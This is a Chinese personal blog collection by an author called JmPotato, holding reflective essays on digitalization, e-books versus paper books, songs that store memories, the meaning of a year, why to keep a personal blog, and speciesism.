随着 VR,AR 技术日趋成熟,人们对现实的数字化改造正在进行,前行的路上会有这样的声音:如果什么都可以虚拟了,那什么才算是真实?这个问题其实由来甚久,从电子书侵占市场开始,人们对「真实感」的追求开始逐渐浮出水面。这个「真实感」其实也十分的矛盾,在虚拟中模拟真实时,人们渴望逼真的体验(从 VR 在色情行业的运用便可见一斑),而逐渐沉溺于虚幻当中后,人们又反过来渴求来源于现实的真实,电子书无纸质书的质感,阅读的体验缺失等等都是这一派人的口号。从这个角度出发,Kindle 等电子书仿制纸质书阅读体验的墨水屏幕反倒是像数字化对「真实感」的一次妥协。然而这些能否作为数字化让我们失去的体验,我觉得并不绝对,毕竟以上观点的冲突大多来源于人们自我的心理认知,有人愿意为此妥协,也有人乐在其中,至于如何选择,如何权衡得失,皆来源于每一个人的选择。

Kindle 的电子墨水屏幕

脱数字化的意义

任何需求都有两面,有数字化的潮流,也必定有「脱数字化」的需求。记得 Jiahao.S 曾在少数派的访谈中说过这样一句话:

我讨厌一味地强调数字生活,忘记生活真正的样子是什么。

这句话很好的点明了脱数字化这个需求的要点,数字化终归只是一种方式,过度的强调方式而忘记了生活的本质,实属得不偿失。如何利用好数字化这个工具才是我们应当关注的,回想以前的社会,没有网络,没有手机,一切照常运作,数字化改变了什么?其实它什么也没改变。运动终归要靠自己动起来,手机不能帮你跑步;交易终归要靠金钱的流动,数字并不能代替你的财产。我们能改变的只有形式,让其更好地为我们所利用。合理的工具可以提高我们的生产力,但如果唯工具论,只会让我们陷入无效的数字化怪圈,成为一个怪人。

现在想来,也不难理解古时迁客骚人们的心境了,功利的官场和黑暗的现实让他们想从中脱身,找回人生本质的意义;脱数字化的人想要从浮躁的社会中抽身,找寻现实的真实存在的意义。览物之情,得无异乎?

未来?

历史的车轮滚滚向前,未来会是什么样,没有人敢妄下定论。但有一点我倒是能肯定,未来一定是属于数字化的。在这过去的十年里,我们已经体验了科技给人带来的极大颠覆,我也相信未来的每一个十年,科技必定会让世界再更新几个模样,数字化的趋势势不可挡。

数字化也好,脱数字化也罢,终究只是对自我的一种选择。我们可以用数字化全副武装自己,让自己成为新时代的探路人,也可以选择与数字化一切保持距离,尽可能的关注生活本身。人们的思想能被石板、竹简、纸张、磁带和比特所保存,有些来自遥远过去的心智因此可以为现世所重新审阅,有些则能因此而流传给不可预知的未来。数字化带来的自我认知全靠我们自己去掌握,去理解。

所以终究有一天,我们会凌驾于数字之上,完全真正地成为自己的主宰者。

在那样一个瞬间,我们便从数字中得到了自由。

电子书的偏见,纸质书的偏执

作者 JmPotato
2017年1月28日 12:30

电子书这个概念起源甚早,在我的印象里,电子书似乎是和手机屏幕一同出现的。那时还没有视网膜显示屏,手机屏幕上的像素点还清晰可见,大家所阅读的也并不是现在为人所熟知的 PDF 和 EPUB 等格式,而是从网络上下载而来的 TXT 格式的书籍,「低头一族」也似乎是从那时起开始兴起。对于电子书和纸质书,偏见和偏执的种子也才刚刚埋下。

电子书的偏见

不知道有多少次在语文课上,每当老师提到阅读时,随之而来的多是对电子书的批判和对纸质书的追捧。也不仅仅是在语文课堂上,在网络各处,时不时便能看到「电子书党」和「纸质书党」的论战,如同豆腐脑的「甜党」和「咸党」一样两方谁说服不了谁,人人莫衷一是。

然而在这样一场大讨论中,还是有明显占优势的一方——纸质书。作为千百年来人类传播知识文化的媒介(这里把纸张出现之前的其他的阅读介质也姑且分类为「纸质书」),纸质书凭借其悠久的历史和深入人心的形象无可厚非的成为了阅读的代表,电子书几年的发展历史与其相比,实在有点微不足道。

深究大家反对电子书而吹捧纸质书的原因,大多数争论都集中在了以下几点上:

  • 电子书没有直观的“外表“,所以没法衡量厚薄,没法摆设书柜,也没有阅读的成就感
  • 电子书屏幕光伤眼,相比之下,纸质书阅读的自然光更护眼
  • 电子书无法带来纸质书阅读的「质感」
  • 电子书中的内容依赖设备,缺少纸质书的独立性

第一条我尚且不必讨论,因为我相信这一点因人而异,况且真正的读书人应该明白,读书的真正价值不在于读过书的数量多少,分量厚薄,而是所阅读书籍的内容价值几何。至于第二条,用过 Kindle 的同学应该感受过墨水屏带来的体验,虽不能说完全超过纸质书,但至少其在内容的直接呈现上已经和纸张不相上下。综合以上的两点,我认为,至少在显示效果上来说,电子书的地位已然可以和纸质书平起平坐。持相反观点来反对电子书阅读的人,多是对现代电子书阅读发展趋势的不了解使然。

于此,人们对电子书的偏见得到了解决。

纸质书的偏执

我想在面临纸质书和电子书的选择时,摆在众多阅读人面前的是阅读的「质感」问题。

在我的纸质书和电子书交叉的阅读体验中,我逐渐发现,阅读书籍给我带来的「质感」是一个会影响阅读体验的关键因素。在阅读电子书时,界面不断的刷新和左下角的进度百分比不断的增加——唯一两个能让我感受到我正在阅读一本书的直观体现,由此蔓延出的是一种焦虑感,一种催促我不断推进阅读进度,渴望把书读完的焦虑感。我深谙「读书切不可功利」,「读书切不可为了读书而读书」的道理,我也尝试过让自己在阅读电子书时平静下来,用坦然的心态去阅读,然而,电子书本身的属性似乎就给我带来了阅读的水土不服,让阅读的质感在这里变得非常糟糕。与此形成对比的是纸质书的阅读过程。我曾写过一篇名为「关于阅读的一些思考 」的文章,其中提到了两种阅读:碎片化和沉浸式。而纸质书就非常能让我进入沉浸式阅读阶段,捧起一本书,纸张的触感能让我完全融入其中,此时阅读变成了一种享受,一旦开启沉浸式阅读体验(也就是心理学上所讲的「心流」现象),阅读的效率是无可比拟的。

用一个字概括的话,电子书多给我带来的是一种「快」的质感,而纸质书则相反。也由此,「慢」成为了我心中的阅读质感中最重要的一点。

「质感」带来的问题还有很多。前文提到电子书的独立性很差,基本拥有电子书的读者,因为购书的方便快捷和价格上的优势,难免会在不知不觉中囤积一些书籍。众多书籍存放在一个设备里,独立性大大减弱,虽然在出行旅游这些场景中电子书的独立性弱取得了很大的优势,但是比起纸质书的书架,在收藏价值的比拼上,电子书很难取得优势。

这样一来,我对纸质书的偏执也有了足够的理由。

未来依旧属于纸质书,至少大部分未来

科技的车轮滚滚转,在数码相机干掉了胶卷,即时通讯干掉了书信(这个说法有待考证)后,难免有这样的问题:电子书会取代纸质书吗?

我的答案是否定的。在我经历从纸质书到电子书,再从电子书回归纸质书的一番轮回之后,我更加确信无论电子书在显示效果和便携程度上怎样匹敌,甚至赶超纸质书,其带来的阅读体验永远也赶不上纸张给人带来的那份「阅读质感」。也许一部分多媒体型的书籍会被在数字化内容上更优的电子书取代,但我相信:未来依旧属于纸质书,即便是一部分还是会被取代,但大部分的未来还是属于纸质书。

毕竟,在一个阳光刚好的午后,坐在柔光之下,陷入沙发中,捧起一本书籍细细品读带给我们的美好,永远也不会被替代。

记忆音乐

作者 JmPotato
2016年12月25日 09:33

闲暇思考时,回忆起了自己曾写过的一篇文章 找不回来的感觉 ,里面提到了一种用音乐存储记忆的方法,今天难得有时间,打算掰扯掰扯我的这个「记忆音乐」理论,希望能给每个阅读这篇文章的人带来一些有趣的体验。

用音乐存储记忆这个习惯我一直使用至今,并且切身体验到了它的有效和可靠。也因此,每当人们说不同的歌会有不同的感觉的时候,我都会觉得这句话应该这么更正一下:即便是同一首歌,不同的人听也会有不同的感觉。

想必每个爱听歌的你可能会有这样的体验:当耳边响起某一首特定的歌时,脑海里便会不自主的浮现出许多昔日的景象,同时更为重要的是,过去某一段人生节点上独特的感觉也会伴随着记忆一同涌上心头。

如上,能带给我们超越听觉感官之外的体验的音乐,我称之为「记忆音乐」,意为「与记忆绑定的音乐」,不过这个名字我一直觉得起的不够好,因为它只片面的表现了音乐和记忆之间的关联,而我认为记忆音乐真正的精髓应该在于其和与记忆绑定的感觉的关联。

在我的歌单里,最早能给我带来强烈的感觉的记忆音乐是邓紫棋的这首《后会无期》。第一次听到这首歌是在 2014 年的校庆典礼上,那时也才刚上高中不久,回忆起那段时光,充斥的应该多是迷茫与探寻——来到新的环境的不适宜以及对人生的迷茫思索。(现在看来那个时候的我挺中二的,每天都沉浸在各种各样思考人生中,不过有一点我倒是很佩服自己,在那段时光中我一共写了各式各样的 8 篇杂文,比起现在的半年一篇,简直高产如母猪)当旋律响起时,我坐在台下即刻被深深的吸引(这里要感谢一下当年在台上演唱这首歌的同学,谢谢你完美的演绎,让我没有错过一首改变了我许多的好歌),一曲作罢,记忆的种子已经被深深的埋进了脑海里。记得很清楚,那天校庆结束后下起了雪,大家纷纷打的坐车回了家,只剩我一个人在寒风中骑着车,踏上了回家的路,一路上脑海里都在浮现的都是这首歌,一回到家我就迫不及待的找到了它,并把它添加进了我的歌单。我的第一首「记忆音乐」诞生了,那时开始,这首歌对我来说已不单单再是一首普通的流行歌曲,蛰伏于其中的有欣喜,有迷茫,有孤独,更有一场雪。

从那时开始我便开始有意识的寻找「记忆音乐」,希望能再找到可以给我带来不一样感觉的音乐,那段时日我如同中了毒瘾一般,在各大音乐电台,各个歌单,不停的寻找「记忆音乐」,为的只是能再有几次精神上回到过去的机会。在搜寻无果之后,我陷入了深深的失落,甚至开始怨恨这个世界上懂我的音乐人太少,甚至开始觉得「记忆音乐」是一种可遇而不可求的精神馈赠。

如果你明白「记忆音乐」的原理的话,你很快就能明白我的以上行为都是徒劳。我花了很久才明白:「记忆音乐」是自己创造出来的,并非找到。

与其说是创造,不如说是转化。「记忆音乐」是由普通的音乐转化而来的,所以说它可以是任何一首音乐。一旦一首歌被赋予了聆听者独特的记忆和情感,那么就可以说它是一首「记忆音乐」。我几经搜寻,终于找到了其背后的科学理论:赫布理论。通俗的解释起来也很简单,当人脑内的神经元的一个记忆单元建立时,可以与其他的记忆单元产生联系,当一首歌的记忆单元和你现实生活中的记忆连接起来后,每当其中的一个受到刺激,另一个也会被相应的唤醒,于是就产生了「记忆音乐」。

于是在此之后,我便会有意识的去制造「记忆音乐」。如果某段时光的记忆十分宝贵,我会在每天睡觉前戴上耳机,一边回想着今天的发生的种种,一边聆听在耳边响起的音乐,久而久之音乐就成了相应的记忆载体,每当需要回忆时,只需打开音乐,一切都会自动浮现上心头,这也是我从不在悲伤难过的时候听歌的原因——不想让音乐承载不好的记忆与情感。使用音乐来记忆的优势在于,相比于直接进行回忆,音乐回忆所能带来的感觉更真实,也更丰富。

音乐是一种美好的东西。音符的组合间孕育的是旋律无限的可能,聆听者的心间孕育的是情感的无限可能,两者结合,赋予我们每个人天生都拥有的能够欣赏无限的美好的能力,不得不说,实在是太值了。

一年的意义

作者 JmPotato
2015年12月20日 22:11

周三下午第八节自习课,久违地来到了物理实验室。摆弄了许久导线之后,望向了窗外:远方白雪覆盖的沙山、青红色交融的云层、烟囱中冒出的白烟、随风飘荡的旗帜,虽简单但壮阔的景象勾住了我的魂,随即想到是应该把此景记录下来,又发觉没带任何可以拍照的设备,不免心生遗憾。

「真正的美景应该留在自己的心里。」

马铭力从讲台上下来,路过我旁边,仿佛看穿了我的心思,突然冒出来了这么一句。我看着他,他会意的笑了笑,我又把目光移向了窗外。

很久以来我一直想写一点关于「意义」的东西。琢磨过很多东西的意义后,我自己先给自己摆了一个问题:「意义」这个词的意义是什么?

意义,与作用和价值相近。指的是人们为某种行为所能带来的作用和价值,包括人们对意义的认知和人生的一种认识。

百科对意义的解释如上,简要概括便是「意义是一种人对一切存在的主观认识」。对这个答案满意吗?从理论层面尚可接受,但我总觉得意义应该是更深的东西:「意义」应该是更有意义的东西。于是,我把自己陷入了一种「追寻意义」的迷宫。

从出生起我们就常问自己「活着的意义是什么?」、「我为何而存在?」对这些问题,有的人也许已经找到了属于自己的答案,有的人也许还在寻找。然而我生活在一个凡事都讲意义的国家,从小都被潜移默化的观念影响着,诸如「生活的意义就是好好学习,考上一所好大学,找到一个好工作,成家立业……」云云。这些意义在我成长的过程中,越来越给我造成困惑,后来我才明白,这些都是父母选择的意义,是大部分人选择的意义,是社会选择的意义,而独独不是我自己的意义。

于是在生活中,我开始追寻意义。

这是我这一年拍过的照片里面我最喜欢的几张。我喜欢拍照,因为我觉得这就是景色的意义,被记录下来,被铭记。

城市

夕阳

晨曦

楼角

「真正的美景应该留在自己的心里。」

眼前依旧是窗外的夕阳,不同的是心境。景色真的需要被记录吗?我对景物意义的拿捏开始动摇。每天在网络上,我都能看到许多照片,有人会在一天的辛苦后,因为归家时看到粉红的夕阳而感动;有人会因为一桌自己喜爱的麻辣烫而感到幸福滋润;有的人因为冥王星的一张照片,为自己是人类的一员而自豪。眼前的景色同样让我动容,很明显这不是记录景色带来的,而是我对景色的认识让我震撼。

回想这一年的光景,没有了高一时的感时伤怀,对往事的留恋似乎已经乘风而去,同这一年的四季交替一起被埋藏在了时间的夹缝里。如果去年的意义是在改变中找到自己的位置,那么这一年的意义是什么?我想正是「追寻意义」。

「意义」到底是什么?目前为止,我追寻到了一部分答案。世间的一切本质都毫无意义,所谓的有意义,是每一个不同的人给一切加上的,自己追寻到的意义。

在《活着》的书序里作者写道:人是为活着本身而活着的,而不是为了活着之外的任何事物所活着。

这个活着的意义是什么我不知道,但至少开心是我的活着的意义中的很重要的一部分。

要是你明白了我所说的,那么你应该能明白无意义的力量在于它可以是任何意义。所以,庆祝无意义!为的是更好的意义。

拉蒙说:无意义,我的朋友,这是生存的本质。它到处、永远跟我们形影不离。

以上,就是我这一年的意义。

个人博客存在的意义

作者 JmPotato
2015年12月12日 14:56

不时会有朋友问我,你在博客上写那么多东西,有人看吗?起初,这个问题让我很是受挫。如果没记错的话,我最早是在 2012 年正式开始写博客的,并且写过的东西并不算多,大多是一些感悟或是技术性的分享。这期间也由于一些原因,中断过对博客的维护,但时至今日,还是坚持了下来。初始时,我对博客的理解,是一种纯粹的分享:把自己的发现发布到所有人都能触手可及的网络上。所以,如果没有人看的话,似乎就失去了分享的意义。

然而事实也确实如此。望着博客始终维持在个位数的访问量,我也使出了浑身解数,试图让我的内容能够博人眼球——对时事的提及,分享一些有趣的 App、音乐或是电影等等。尝试了不久,现状依旧,最初所追求的分享的乐趣也渐渐消失,终于,我还是选择了放弃。我没有再去分享什么,而是把博客当成了自己的宣泄工具。任何想到的观点,任何突然出现的思绪,都能成为一片博文被发表出来。我也很满足于这种直接表达的快感,甚至一度觉得自己也成为了那种能自己写文章的“自由文字工作者”。

经过两个在写博客这件事上理解的改变,我开始思考,个人博客存在的意义到底是什么? 我对一个博客的好坏评判标准有三点:

  • 见解
  • 信息量
  • 迭代更新

简单概括为一句话就是有独到见解,有充实内容,并且时刻保持更新。这似乎印证了我最开始的写博客的初衷:分享。

而分享似乎是个有点物质的词,博客上能分享的不因该仅仅是具象化的东西。我尝试换了个说法:交流。写博客也可以是为了和大家交流自己的想法,这又印证了近来一个阶段我写博客是为了表达自己的目的。

不知在哪看过这么一段话,让我霍然开朗。

写博客是为了和过去以及未来的自己对话

博客可以作为一个见证,它既可以见证过去也可以见证未来,看自己以前的文章,可以回顾自己的成长,就算是黑历史,也可以和现在的我打个照面,看看自己的改变,目前正在写的博文也将是未来我的“参考历史”,给自己留下一个悬念,期待一下现在的自己和未来的自己又会有怎样的不同。博客可以作为一个时间的媒介,它可以历尽沧海仍不变,供它的主人来了解其本身。

所以,个人博客从来不是写给别人看的。我拥有自己的三观,却从未去打量过自己;看多了别人的思想,却从未想过表达自己。从开始建博客到现在,我饶了一大圈,终于又回到了自己身上:个人博客是写给自己的。

个人博客如同自己的一座花园,里面种的都是自己丰硕的思维花朵,只为自己欣赏,不为追求别人的褒扬之词,即便如此,当有人路过时,我还是希望他能说一句:

“嘿,你的花真漂亮。”

物种主义

作者 JmPotato
2015年11月8日 22:33

以下内容可能会使部分读者感到不适,如果你在阅读过程中感到不适,请迅速解除关注然后离开。

今天看《自私的基因》时,作者提到了一个叫做「物种主义」的概念。乍一看到这个词,我立马联想到的了另一个和它长的很像的词——种族主义。作为一套意识形态,其基本信仰为人类可以被分类成不同及互不附属的“人种”,因此主张遗传的肉体特质直接决定人性、智商、道德等等文化及行为的特性,并主张某些种族的人在本质上比其他种族的人优越。种族主义也赞成对某些种族的人以轻蔑、讨厌、瞧不起等方式的对待,即种族歧视。稍微对身边这个世界有所关注的人都知道,种族主义至今依然存在世界的各个角落。但是,现在要讨论的物种主义,在我看来似乎存在于每一位活着的地球人身上。

何为物种主义?类比于种族主义,不难给它下一个简单的定义,即对地球上的物种进行分级,承认生命也分三六九等。等等,现在不是在宣扬生命生而平等吗?而且对其他生命的不尊重是个挺让自己和别人都过意不去的行为。物种主义到底是怎么一回事?

在我看来,所谓生而平等不过是人类身为「高等生物」而擅自给其他生命甚至物种给予的权利。

非战争时期杀人,在每一个国家都是最严重的罪行。要说更严重的,被我们的文明更加严厉谴责的罪行是吃人。然而每天中午回家,你看着桌上新鲜的美食,其中也许不乏鸡鸭鱼肉,烹饪这些美食,首要的一步就是将这些活着的食材先杀掉,然后趁着食材们的尸体还新鲜,加以处理,最后成为你的盘中餐。当你目睹一位人类被处刑,也就是被杀害时,你会觉得惨不忍睹,毕竟看着自己的同类血肉横飞不是一件愉快的事,但是同时,我们却在猎场里肆意猎杀着其他的物种来取乐。你也许会说人类是有情感的,这也就是为什么我们不会残杀彼此(至少大多数人如此)。一个人类的胎儿,所具有的人的情感不比一个草履虫多,但只因为他和我们同属一个物种,他所得到的法律保护远比一个成年黑猩猩多——尽管黑猩猩和人类的进化史大约有99.5%是共同的——综上所论述的现象,均为物种主义。

经过对号入座后你也许会说你是一个素食主义者也从来不杀生,何谈物种主义?如果你认为植物并不是生物的话,那你开心就好。

同样为物种主义的现象还有一个,在我看来相当典型:宠物。猫狗是大多数人类家庭里会拥有的宠物,人类对其的喜爱不比美食——然而,也有人把它当做美食,每年都会闹得沸沸扬扬的玉林狗肉节一直在颤动着动物保护协会的人的心。不过一直以来让我困惑的一件事是,既然名为动物保护主义,我倒是希望他们去关心一下每天任人宰杀的兔子的权利,仅仅一个有一定规模的养殖场里,每天就发生着几万的杀害,放在物种的角度来看那些人似乎不比纳粹好到哪去。(我见过很多素食主义者和动物保护者这么形容吃肉的人类)当然他们给出的理由是:“狗可是我们人类的好朋友啊,你忍心吃掉你的好朋友吗?”我靠,兔子那么可爱,人随便吃没人抵制。鱼那么呆萌,还会吐泡泡,随便吃没人抵制。牛那么萌,还特么有明星专门取名牛萌萌,照样吃。各种飞禽走兽都有可爱的地方,都有作为人类朋友通晓灵性的证据,独独狗吃不得。Sorry, I don’t understand……

所以我举了这么久例子,你可能有点恼火:“你总得论述点观点吧?这一切都是为什么?”对不起,我还真说不出来所以然,身为一个人类,一个有物种歧视的人类,我对我身上存在的物种主义久久无法理解。按照一个广为流传(而且很荒谬)的逻辑:“你都不能做到,凭什么来评判我们?”我还是闭嘴为妙。不过我还是想提出问题。物种主义在道德的位置上相比较于种族主义更合适吗?在理查德道金斯看来,即使在进化生物学上,这也是毫无正当依据。如果用利他主义来解释人类为什么会对其他物种如此残忍,即杀害其他物种只是为了自己种族的生存。可在达尔文进化论面前,每个生命的个体都是自私的,别说为自己的种族考虑,我相信看过星际穿越电影的人都会记得其中 Dr.Manna 说的一句话:“你们人类还没有进化到能为整个种族的未来而考虑的地步。”如果利他主义的所要付出的代价是牺牲自己的利益,我相信除了圣人还没有几个人类能真正做到。再进一步提出问题,这种物种主义所停留的物种层级是怎么界定的呢?豹子和牛,以及人类同为哺乳动物。按照物种主义,我们难道不因该要求豹子别再杀害牛,以维护整个哺乳纲的利益吗?这样的话,让豹子去捕杀卵生的鸟类或者爬行动物倒是个合适的选择。可是,我们和鸟类,爬行动物同为脊椎动物这一门,我们又该怎么做?这下物种主义又无法自圆其说。

大自然甩给了人类很多问题,领域不仅限于科学,更在道德伦理。但有一个事实不得不承认,当我们杀死一个与自己不同物种的生命的时候,大多数时候我们并不会有多大愧疚,甚至有时候我们会很高兴,比如说打苍蝇。

然而,在茫茫宇宙中,自以为站在物种进化顶端的我们也许会是别的生命,正在寻找,正在拍打的,一只弱小,微不足道的苍蝇。

❌
❌